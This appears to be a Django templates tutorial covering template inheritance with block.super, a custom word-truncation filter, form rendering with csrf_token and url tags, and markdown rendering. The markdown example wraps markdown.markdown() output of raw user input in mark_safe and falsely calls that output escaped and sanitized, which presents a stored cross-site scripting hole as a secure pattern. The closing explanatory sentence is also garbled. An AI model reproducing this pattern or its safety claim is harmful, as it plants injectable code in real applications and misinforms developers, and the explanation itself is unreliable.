Templates

What we're doing: Extend a shared base template, override one block, and reuse the parent's content in another via block.super.

{% extends "base.html" %}

{% block title %}
  {{ article.title }} — {{ block.super }}
{% endblock %}

{% block content %}
  <h1>{{ article.title }}</h1>
  <p>{{ article.body }}</p>
{% endblock %}

1

{% extends %} is the first line, before even a comment — this is enforced, not just convention.

4

{{ block.super }} inserts base.html's own <title> content ("My Site") rather than replacing it entirely, so the page title becomes "Article Name — My Site".

Why this works: Overriding a block replaces it completely by default — {{ block.super }} is the specific escape hatch for when a child wants to ADD to the parent's content rather than fully replace it, exactly like this title block combining the article name with the site's own base title.

What we're doing: Render markdown-derived HTML safely, marking only the library's own trusted output as safe — never the raw user input it was generated from.

from django.utils.safestring import mark_safe
import markdown

class Article(models.Model):
    body = models.TextField()  # raw, untrusted markdown source, typed by a user

    def body_html(self):
        return mark_safe(markdown.markdown(self.body))

5

self.body is the raw, untrusted user input — it is never marked safe directly, only the markdown library's rendered OUTPUT is.

Why this works: mark_safe() is applied to markdown.markdown(self.body) — the library's escaped, sanitized HTML output — not to self.body itself, which could contain a raw <script> tag if a user typed one. The distinction is exactly what keeps this pattern safe: trust the known transformation's output, never the raw input it started from.

What we're doing: Write and use a custom filter to truncate a body of text to a fixed word count, something none of the built-in filters do exactly this way.

from django import template

register = template.Library()

@register.filter
def truncate_words(value, count):
    words = value.split()
    if len(words) <= count:
        return value
    return " ".join(words[:count]) + "..."

4

@register.filter with no name= argument registers it under the function's own name, truncate_words — usable in a template as {{ value|truncate_words:20 }}.

Why this works: A custom filter is the right tool here specifically because the transformation is a single value in, single value out — Django's own built-in filters (truncatewords exists, but this shows the general shape) all follow this same one-value-plus-optional-argument contract, which is what makes them chainable with the pipe syntax.

What we're doing: Build a POST form pointing at a named URL, with CSRF protection and a static asset both resolved by tag rather than hard-coded.

{% load static %}
<link rel="stylesheet" href="{% static 'css/forms.css' %}">

<form method="post" action="{% url 'articles:create' %}">
  {% csrf_token %}
  {{ form }}
  <button type="submit">Save</button>
</form>

2

{% static %} resolves the CSS file's real deployed URL — the same path collectstatic would produce, whatever STATIC_URL or a CDN prefix happens to be in this environment.

4

{% url 'articles:create' %} resolves the form's target via the same namespace/reverse() machinery as a Python-side reverse() call — never a hard-coded "/articles/new/".

Why this works: All three lines resolve something at render time that would otherwise have to be kept in sync by hand across every template that uses it — a moved static asset, a renamed URL pattern, or (for csrf_token) a per-session cryptographic value none of these could be hard-coded even if a developer wanted to.